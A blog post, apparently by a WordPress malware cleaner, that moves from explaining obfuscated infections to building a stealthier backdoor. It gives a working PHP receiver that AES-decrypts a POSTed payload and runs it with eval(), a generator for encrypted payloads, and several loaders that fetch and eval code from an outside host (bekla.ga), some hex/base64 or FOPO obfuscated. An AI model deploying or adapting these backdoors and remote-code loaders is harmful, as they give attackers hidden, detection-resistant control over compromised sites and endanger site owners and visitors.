I’ve been cleaning up lots of hacked wordpress sites lately and i thought i’d share my findings and also my attempt to refine this technique with AES-encryption instead of obfuscation

Most infections  are hidden within obfuscated code, which means that someone has been trying to hide source code within complex combinations of built in PHP functions like base64_encode, hex encodings and str_rot13 rotations.

Usually you can spot these things just by looking at them and guessing, e.g if values are paired and never reaches above “FF” then we could safely guess that we are working with HEX values. “\x30\x6a\xff”

Obfuscated code is usually easy to find with a few simple techniques, some of which are described in a previous article: unhacking-a-hacked-wordpress-site

This got me thinking, what if we could encrypt the payload and trigger the code with with a password…

I started out by designing a “Control Center” from where i could generate the encrypted payload to be sent to our target server.

You can download it here or try it out here

On your left is the PHP-Code to be executed on remote server, in the middle you have the same code encrypted with AES-256-CBC. And on your right is a preformated curl command with the encrypted script and a password for decryption.

Lets study the curl part:

obfusk=RjdGRitFYjY...

This is your encrypted and urlencoded PHP payload.

key=MjAxOC0wNC0zMA%3D%3D

The decryption password “MjAxOC0wNC0zMA%3D%3D” is attached to the URL. The password is the generation date (in this case 2018-04-30) with base64- and urlencoding.

Now we need a receiving script to decrypt and run our code.

function my_decrypt($data, $key) {
    $encryption_key = base64_decode($key);
    list($encrypted_data, $iv) = explode('::', base64_decode($data), 2);			
    return openssl_decrypt($encrypted_data, 'aes-256-cbc', $encryption_key, 0, $iv);
}

if ( ! empty($_POST['obfusk']) AND ! empty($_GET['key'])) {
    error_reporting(0); 
    eval(my_decrypt($_POST['obfusk'], $_GET['key']));
    die();
}

Best practice would of course be to store your decryption routines on a remote server, then you would only need file_get_contents() or curl to fetch your code.

Example 1 (you need allow_url_fopen)

@eval(file_get_contents("https://bekla.ga/obf.txt"));

Or obfuscated with Hex and Base64

$b="\142\x61\x73\145\66\x34\137\x64\x65\143\x6f\144\x65"; //base64_decode
@eval($b('ZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vYmVrbGEuZ2Evb2JmLnR4dCIpOw==')); // file_get_contents("https://bekla.ga/obf.txt");

Example 2 (You need full access to Curl)

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://bekla.ga/obf.txt");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

if(curl_exec($ch) === FALSE) {
	 echo "Error: " . curl_error($ch);
} else {
	 eval(curl_exec($ch));
}
curl_close($ch);

There are also online obfuscators like FOPO – Free Online PHP Obfuscator, following is “Example 1” with FOPO obfuscation.

$f6e83d67="\142\x61\163\x65\x36\x34\137\144\x65\x63\x6f\x64\145";
@eval($f6e83d67( "Ly9OR3ROay84UGx6NnF0Vk1yeDBLaDcwM3pFMnd6OE5lb1grTlkvZ0RmTkQ0YVREdU8xa0RhSjk4UTZQ SVZOSUROSGFLaFZkbXIveHZyQnBmbldqPT06cDFBR0p2MWg5RlpETk49PToyM3JycXA5MQokYWVjM2NiM zY9IlwxNjMiOyR4YWYyMTdhNj0iXDE2MCI7JGMyYjNmYmU5PSJcMTQ2IjskaGZjNWU0ZGQ9IlwxNjMiOy RiM2Y3ZDUyYj0iXDE2MyI7JGhmMjQ3YWVhPSJceDY3IjskZjZlODNkNjc9IlwxNDIiOyRzYzhjZWNiOD0 iXDE2MiI7JHI4NGJjMjAxPSJcMTQ1Ijskc2M4Y2VjYjguPSJceDY1IjskYjNmN2Q1MmIuPSJcMTY0Ijsk ZjZlODNkNjcuPSJceDYxIjskYWVjM2NiMzYuPSJcMTY0Ijskcjg0YmMyMDEuPSJcMTcwIjskaGYyNDdhZ WEuPSJceDdhIjskaGZjNWU0ZGQuPSJceDY4IjskeGFmMjE3YTYuPSJcMTYyIjskYzJiM2ZiZTkuPSJceD Y5IjskaGYyNDdhZWEuPSJceDY5IjskZjZlODNkNjcuPSJceDczIjskc2M4Y2VjYjguPSJcMTYzIjskYWV jM2NiMzYuPSJceDcyIjskaGZjNWU0ZGQuPSJceDYxIjskYzJiM2ZiZTkuPSJceDZjIjskeGFmMjE3YTYu PSJceDY1Ijskcjg0YmMyMDEuPSJceDcwIjskYjNmN2Q1MmIu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HdRM Gw2UFZqZ2hTYWhDdzBNWCtDOUZxR1VoQm02T0N4Z3laOTdrR0xnRHYrUExpL2pPNkMzUjU0SEdwT1ZDaG haWlNYMHN1NmxFQXkyUzR2VGk1ZTc1L0hMUVdjRjBCUHlEdkJQc3FJTW0rS01INjNXb085bkFzQm52SDF OVFYrRGhRdWk4eFBOdTFIVzlWSGgreUpGYUtaYUtBVFdMTEcrWU1CVktQaS94ZTZyU2UyUGZad2luR1Bj OE1KV24xa0lyMlRkS3AraW15VktQemJCZklvVEFNS1NnU0pSOExLQzVYVlYrQXRuNzA0Z2laOHlXQVY0V 1NXVlBDcC9LbTgvQzcvL09EPT0iKSkpKTs="));

Published by Nimpen J. Nordström

System Developer and Network Security Enthusiast

Leave a comment

Your email address will not be published. Required fields are marked *